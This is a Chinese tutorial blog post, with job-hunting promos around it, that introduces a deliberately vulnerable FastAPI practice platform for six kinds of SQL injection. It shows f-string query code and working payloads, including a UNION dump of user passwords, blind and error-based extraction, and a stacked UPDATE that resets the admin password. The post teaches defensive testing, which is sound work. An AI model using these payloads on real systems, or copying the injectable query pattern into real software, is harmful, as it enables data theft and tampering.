安全测试:SQL注入原理与六大攻击方式

📝 面试求职: 「面试试题小程序」 ,内容涵盖 测试基础、Linux操作系统、MySQL数据库、Web功能测试、接口测试、APPium移动端测试、Python知识、Selenium自动化测试相关、性能测试、性能测试、计算机网络知识、Jmeter、HR面试,命中率杠杠的。(大家刷起来…)

📝 职场经验干货:

软件测试工程师简历上如何编写个人信息(一周8个面试)

软件测试工程师简历上如何编写专业技能(一周8个面试)

软件测试工程师简历上如何编写项目经验(一周8个面试)

软件测试工程师简历上如何编写个人荣誉(一周8个面试)

软件测试行情分享(这些都不了解就别贸然冲了.)

软件测试面试重点,搞清楚这些轻松拿到年薪30W+

软件测试面试刷题小程序免费使用(永久使用)


测试技能:SQL注入原理与六大攻击方式

公司近期出过几次安全相关的事故,于是,要求测试工程师必须在测试工作中考虑安全相关的测试。因此,我又重新开始学习安全测试技术。OWASP Top 10安全漏洞,关于注入类攻击一致名列榜首,于是,先从SQL注入开始。

什么是SQL注入?

SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在输入字段中插入恶意SQL代码,诱使后端数据库执行非预期的查询,从而获取、篡改甚至破坏数据。其根本原因在于应用程序未对用户输入进行有效过滤和转义,直接将输入拼接到SQL语句中执行。

项目简介

为了方便学习,我单独创建了一个开源项目:https://github.com/AutoTestClass/Learn-hacking-class

本项目为SQL注入演示平台,旨在帮助测试工程师理解和实践各种SQL注入攻击及其防护。平台实现了六种典型的SQL注入方式,每种方式均有对应的接口和演示页面,便于学习和测试。

六种SQL注入方式与原理

1. 联合查询注入(Union-based Injection)

原理:利用UNION关键字,将攻击者自定义的查询结果与原查询结果合并,进而获取敏感数据。

项目实现

@app.get("/union_injection/{product_id}")
def union_injection(product_id: str, db: Session = Depends(get_db)):
    query = f"SELECT id, name, price FROM products WHERE id = {product_id}"
    ...

示例攻击语句

1 UNION SELECT 1,username,password FROM users--

效果:可直接读取users表中的用户名和密码。


2. 布尔盲注(Boolean-based Blind Injection)

原理:通过构造布尔表达式,根据返回结果的真假判断数据库中的信息。适用于无错误回显的场景。

项目实现

@app.get("/boolean_blind/{input}")
def boolean_blind(input: str, db: Session = Depends(get_db)):
    query = f"SELECT username, email FROM users WHERE username = '{input}' "
    ...

示例攻击语句

admin' OR 1=1
admin' AND SUBSTRING(password,1,1)='a

效果:可逐步猜解用户名、密码等敏感信息。


3. 报错注入(Error-based Injection)

原理:利用数据库的错误信息,将敏感数据通过报错内容回显给前端。

项目实现

@app.get("/error_injection/")
def error_injection(input: str, db: Session = Depends(get_db)):
    query = f"SELECT * FROM products WHERE id = {input}"
    ...

示例攻击语句

1 AND (SELECT updatexml(1, concat(0x5c, (SELECT database())), 1))
1 AND extractvalue(1,concat(0x5c,(SELECT user())))

效果:可直接在错误信息中获取数据库名、用户名等。


4. 时间盲注(Time-based Blind Injection)

原理:通过构造包含延时函数(如SLEEP)的SQL语句,根据响应时间判断条件是否成立,进而推断数据。

项目实现

@app.get("/time_blind/{input}")
def time_blind(input: str, db: Session = Depends(get_db)):
    query = f"SELECT * FROM products WHERE id = {input}"
    ...

示例攻击语句

1 AND IF(1=1, SLEEP(3), 0)
1 AND IF(SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a', SLEEP(3), 0)

效果:通过延迟响应时间,逐步猜解敏感信息。


5. 宽字节注入(Wide-byte Injection)

原理:利用数据库编码(如GBK)特性,绕过转义机制,实现注入。常见于宽字节编码下\与多字节字符组合被“吃掉”,导致转义失效。

项目实现

@app.get("/wide_byte_injection/{input}")
def wide_byte_injection(input: str, db: Session = Depends(get_db)):
    # 检查%df%5c,模拟宽字节绕过
    ...

示例攻击语句(需终端模拟):

curl "http://127.0.0.1:8000/wide_byte_injection/%df%5c%27%20OR%201=1%23"

效果:可绕过转义,执行注入语句。


6. 堆叠查询注入(Stacked Queries Injection)

原理:通过分号;分隔,执行多条SQL语句,通常用于批量操作数据。

项目实现

@app.get("/stacked_queries/{input}")
def stacked_queries(input: str, db: Session = Depends(get_db)):
    query = f"SELECT * FROM products WHERE id = 1; {input}"
    ...

示例攻击语句

; UPDATE users SET password='hacked' WHERE username='admin'

效果:可批量修改、删除数据,危害极大。


总结

本项目通过六种典型注入方式,全面展示了SQL注入的攻击原理和危害。防护SQL注入的根本措施包括:

  • • 严格使用参数化查询(预编译语句)

  • • 对用户输入进行类型校验和转义

  • • 限制数据库账户权限

  • • 定期安全测试和代码审计

通过本平台的实践演练,测试工程师可深入理解SQL注入的本质与防御思路,为实际项目安全保驾护航。

最后: 下方这份完整的软件测试视频教程已经整理上传完成,需要的朋友们可以自行领取【保证100%免费】

​​​

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值